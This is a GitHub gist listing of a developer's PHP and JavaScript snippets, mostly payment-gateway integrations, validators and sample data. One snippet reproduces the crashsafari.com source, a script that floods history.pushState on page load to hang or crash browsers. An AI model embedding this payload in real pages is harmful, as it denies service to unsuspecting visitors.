Skip to content

Instantly share code, notes, and snippets.

View neo22s's full-sized avatar

Chema neo22s

View GitHub Profile
@neo22s
neo22s / emailvalidator.php
Created August 15, 2016 14:23
Lumen test email validator
<?
/**
* Class email validator
*
* @author Chema <chema@garridodiaz.com>
* @copyright (c) 2015
* @license GPL v3
*/
namespace App;
@neo22s
neo22s / securepay.php
Created May 17, 2016 11:41
securepay.php
<?
$merchant_id = 'merchant';
$txnpassword = 'pwd';
$order_id = 'order123';
$amount = 5308;//53.2
$currency = 'AUD';
$fp_timestamp = gmdate('YmdHIis');
$fingerprint = $merchant_id.'|'.$txnpassword.'|0|'.$order_id.'|'.$amount.'|'.$fp_timestamp;
@neo22s
neo22s / securenet.php
Created February 20, 2016 14:15
Securenet PHP integration
<?php
/**
* Securenet PHP library
* See docs https://apidocs.securenet.com/docs/
* You need PHP >= 5.5 and CURL installed
*
* @category Payments
* @author Chema <chema@open-classifieds.com>
* @copyright (c) 2009-2016 Open Classifieds Team
* @license GPL v3
@neo22s
neo22s / licensetest.php
Last active November 14, 2016 07:58
test license for open classifieds
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
ini_set('display_errors', 1);
$license = 'YOURLICENSEHERE';
$api_url = 'https://selfhosted.yclas.com/api/license/'.$license.'/?domain='.$_SERVER['HTTP_HOST'];
die(var_dump(json_decode(curl_get_contents($api_url))));
@neo22s
neo22s / adaptive.php
Created February 7, 2016 21:36
paypal adaptive payment example to pay directly to an account
<?
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
ini_set('display_errors', 1);
use PayPal\Service\AdaptivePaymentsService;
use PayPal\Types\AP\FundingConstraint;
use PayPal\Types\AP\FundingTypeInfo;
use PayPal\Types\AP\FundingTypeList;
use PayPal\Types\AP\PayRequest;
var a = new Array(10);
var b = new Array(10);
var c = new Array(10);
a[0] = "As soon as we fix the flood of resources ";
a[1] = "As soon as we have the tests ";
a[2] = "After we refactor the code ";
a[3] = "When we have the last bug fixed ";
a[4] = "When the installation problem it's solved ";
a[5] = "When we figure out why the process is down ";
@neo22s
neo22s / crashsafari.com.html
Created January 26, 2016 20:26
Source code of crashsafari.com
<!DOCTYPE html>
<html>
<body>
<h1>What were you expecting?</h1>
<script>
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
@neo22s
neo22s / index.php
Created December 13, 2015 19:42
Paysbuy integration for php
<?
include 'paysbuy.php';
//config the gateway
//by default is FALSE, put this to true to test
paysbuy::$sandbox = TRUE;
//set your emails here if none written demo email will be used
//paysbuy::$email = 'your mail account here';
if ($_POST)
@neo22s
neo22s / Exception.php
Created November 19, 2015 16:51
PHP7 classes/Kohana/Kohana/Exception.php for KO 3.3.x
<?php defined('SYSPATH') OR die('No direct script access.');
/**
* Kohana exception class. Translates exceptions using the [I18n] class.
*
* @package Kohana
* @category Exceptions
* @author Kohana Team
* @copyright (c) 2008-2012 Kohana Team
* @license http://kohanaframework.org/license
*/
We can make this file beautiful and searchable if this error is corrected: It looks like row 7 should actually have 15 columns, instead of 6. in line 6.
user_name,user_email,title,description,date,category,location,price,address,phone,website,image_1,image_2,image_3,image_4
chema garrido,someone@gmail.com,another great title,description allows bbcode aasdsa asdas ,2015-03-06 13:06:15,Home category,Location 1,0,,,,http://reoc.lo/images/2009/06/29/5/another-great-title_1.jpg,,,
chema garrido,someone@gmail.com,just random title here,description allows bbcode,2009-07-07 08:58:40,Home category,Location 1,300,street number,8848585,NULL,http://reoc.lo/images/2009/07/07/6/just-random-title-here_1.jpg?v=1425293890,,,
chema garrido,someone@gmail.com,Kamaleon,sadasdasd,2015-03-05 12:24:29,Home category,Location 1,0,street number,34646257596,http://open-classifieds.com,,,,
Chema,someone@gmail.com,dfsdfsdf ssdfsd ,dfdsfsdf,2015-03-05 12:47:52,Home category,Location 1,0,0,,,,,,
chema garrido,someone@gmail.com,just random title here,asdasdasd,2015-03-05 12:50:28,Home category,Location 1,0,0,,,,,,
testeo,someone@gmail.com,just random title here,asdasdasd,2015-03-05 12:50:51,